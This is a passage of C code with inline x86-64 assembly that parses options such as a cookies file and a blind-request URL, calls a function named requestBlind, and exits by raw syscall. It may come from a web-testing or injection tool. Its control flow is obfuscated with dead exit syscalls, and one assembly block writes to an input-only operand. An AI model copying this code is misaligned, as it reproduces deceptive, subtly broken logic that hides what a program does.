                "je .notP\n\t"
                "jmp .finish1\n\t"
                ".notP:\n\t"
                "mov $0xE7, %%rax\n\t"
                "mov $0x0, %%rdi\n\t"
                "syscall\n\t"
                ".finish1:\n\t"
                : [var1] "+r" (cookiesFileS)
                :
                : "rax",
                "rdi"

                );
    }
    if (verbose)
    {
        __asm__ volatile
            (
                "mov $0x1, %[var2]\n\t"
                "test %[var2], %[var2]\n\t"
                "je .notP1\n\t"
                "jmp .exitGF\n\t"
                ".notP1:\n\t"
                "mov $0xE7, %%rax\n\t"
                "mov $0x0, %%rdi\n\t"
                "syscall\n\t"
                ".exitGF:\n\t"
                : [var2] "+r" (verbose)
                :
                : "rax",
                "rdi"

                );
    }
    if (tbd != 0)
    {
        flagsTBD = 1;
    }
    else
    {
        __asm__ volatile("nop");
    }
    
    if (fileName != NULL)
    {
        __asm__ volatile
            (
                "mov $0x1, %[var4]\n\t"
                "test %[var4], %[var4]\n\t"
                "je .notPP5\n\t"
                "jmp .finish4\n\t"
                ".notPP5:\n\t"
                "mov $0xE7, %%rax\n\t"
                "mov $0x0, %%rdi\n\t"
                "syscall\n\t"
                ".finish4:\n\t"
                : [var4] "+r" (flagFile)
                :
                : "rax",
                  "rdi",
                  "r11",
                  "rcx",
                  "memory"

                );
    }
    else
    {
        __asm__ volatile
        (
            "mov $0x0, %[var7]\n\t"
            : 
            : [var7] "r" (flagFile)
            :
        );
    }
    requestBlind(baseurl);
    __asm__ volatile
        (
            "mov $0x0, %%rdi\n\t"
            "mov $0x3C, %%rax\n\t"
            "syscall\n\t"
            :
            :
            : "rax",
            "rdi"
        );

}